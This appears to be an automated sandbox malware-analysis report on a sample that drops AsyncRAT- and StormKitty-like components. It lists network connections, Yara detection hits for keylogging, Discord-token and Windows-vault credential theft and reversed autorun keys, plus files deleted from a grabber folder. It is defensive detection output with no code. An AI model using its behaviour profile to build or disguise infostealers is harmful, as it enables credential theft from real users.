Source: unknown	HTTPS traffic detected: 104.21.9.139:443 -> 192.168.2.4:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.68.143:443 -> 192.168.2.4:49701 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.WindowsDataC.exe.12fb33c0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.3ZCSmfAvnf.exe.12a775e0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.579900090.00000000126C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.594217728.000000001B4CD000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.580547770.0000000012AC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.594217728.000000001B4C3000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.580547770.0000000012ABA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.579786709.0000000012FDC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3ZCSmfAvnf.exe PID: 4560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WindowsDataC.exe PID: 2444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wwst.exe PID: 4816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WindowsDataC.exe PID: 1604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WindowsDataC.exe PID: 5964, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED

Contains functionality to log keystrokes (.Net Source)

Source: wwst.exe.0.dr, Client/Modules/Keylogger/Keylogger.cs	.Net Code: SetHook
Source: wwst.exe.0.dr, Client/Modules/Keylogger/Keylogger.cs	.Net Code: KeyboardLayout
Source: 3.0.wwst.exe.6d0000.0.unpack, Client/Modules/Keylogger/Keylogger.cs	.Net Code: SetHook
Source: 3.0.wwst.exe.6d0000.0.unpack, Client/Modules/Keylogger/Keylogger.cs	.Net Code: KeyboardLayout

Source: RunIt.exe, 00000002.00000002.568357007.00000000014CA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Window created: window name: CLIPBRDWNDCLASS

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Local\Temp\wwst.exe	File deleted: C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\GIGIYTFFYT.xlsx	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	File deleted: C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\TQDFJHPUIU.xlsx	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	File deleted: C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\EWZCVGNOWT\GIGIYTFFYT.xlsx	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	File deleted: C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\GIGIYTFFYT.docx	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	File deleted: C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\KLIZUSIQEN.pdf	Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.WindowsDataC.exe.1af745b8.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 5.2.WindowsDataC.exe.12fb33c0.2.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 5.2.WindowsDataC.exe.12ed75e0.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 0.2.3ZCSmfAvnf.exe.12a775e0.1.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 0.2.3ZCSmfAvnf.exe.12a775e0.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0.2.3ZCSmfAvnf.exe.12a775e0.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 4.2.WindowsDataC.exe.1af50000.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000000.00000002.580547770.0000000012AC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000001.00000002.573200275.0000000002848000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000001.00000002.579905238.0000000012978000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000001.00000002.594217728.000000001B4CD000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000004.00000002.573353183.0000000002598000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000000.00000002.580547770.0000000012AC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000005.00000002.579786709.0000000012FDC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000001.00000002.594217728.000000001B4C8000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000005.00000002.573024756.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: 3ZCSmfAvnf.exe PID: 4560, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: 3ZCSmfAvnf.exe PID: 4560, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: WindowsDataC.exe PID: 2444, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: WindowsDataC.exe PID: 2444, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: wwst.exe PID: 4816, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: wwst.exe PID: 4816, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: WindowsDataC.exe PID: 1604, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: WindowsDataC.exe PID: 5964, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED	Matched rule: Detects StormKitty infostealer Author: ditekSHen

Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Code function: 0_2_00007FF816398B05	0_2_00007FF816398B05
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_014B2DFB	2_2_014B2DFB
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_014B2BFA	2_2_014B2BFA
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_02F532D1	2_2_02F532D1
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_0553AA2C	2_2_0553AA2C
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_05532778	2_2_05532778
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_07528570	2_2_07528570
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_075239C0	2_2_075239C0
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_07526840	2_2_07526840
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_075291D7	2_2_075291D7
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_07528570	2_2_07528570
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_07DC4B62	2_2_07DC4B62
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_07DC1AC4	2_2_07DC1AC4
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_07DC8820	2_2_07DC8820
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_07DC13B4	2_2_07DC13B4
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_07DC7DC0	2_2_07DC7DC0
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_07DC09B4	2_2_07DC09B4
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_07DC8811	2_2_07DC8811
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Code function: 3_2_02889640	3_2_02889640
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Code function: 3_2_0288CB48	3_2_0288CB48
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Code function: 3_2_02888D70	3_2_02888D70
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Code function: 3_2_02888A28	3_2_02888A28
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Code function: 3_2_028889D7	3_2_028889D7
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Code function: 3_2_0500CAC7	3_2_0500CAC7
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Code function: 3_2_0500CAD8	3_2_0500CAD8
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Code function: 3_2_05007669	3_2_05007669
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Code function: 3_2_05007678	3_2_05007678
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Code function: 3_2_05001D60	3_2_05001D60
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Code function: 3_2_05001D70	3_2_05001D70

Source: 3ZCSmfAvnf.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 4.2.WindowsDataC.exe.1af745b8.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 5.2.WindowsDataC.exe.12fb33c0.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 5.2.WindowsDataC.exe.12ed75e0.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 0.2.3ZCSmfAvnf.exe.12a775e0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 0.2.3ZCSmfAvnf.exe.12a775e0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0.2.3ZCSmfAvnf.exe.12a775e0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 4.2.WindowsDataC.exe.1af50000.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000000.00000002.580547770.0000000012AC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000001.00000002.573200275.0000000002848000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000001.00000002.579905238.0000000012978000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000001.00000002.594217728.000000001B4CD000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000004.00000002.573353183.0000000002598000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000000.00000002.580547770.0000000012AC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000005.00000002.579786709.0000000012FDC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000001.00000002.594217728.000000001B4C8000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000005.00000002.573024756.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: 3ZCSmfAvnf.exe PID: 4560, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: 3ZCSmfAvnf.exe PID: 4560, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: WindowsDataC.exe PID: 2444, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: WindowsDataC.exe PID: 2444, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: wwst.exe PID: 4816, type: MEMORYSTR	Matched rule: webshell_php_encoded_big date = 2021/02/07, author = Arnim Rupp, description = PHP webshell using some kind of eval with encoded blob to decode, score = 1d4b374d284c12db881ba42ee63ebce2759e0b14, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: Process Memory Space: wwst.exe PID: 4816, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: wwst.exe PID: 4816, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: WindowsDataC.exe PID: 1604, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: WindowsDataC.exe PID: 5964, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
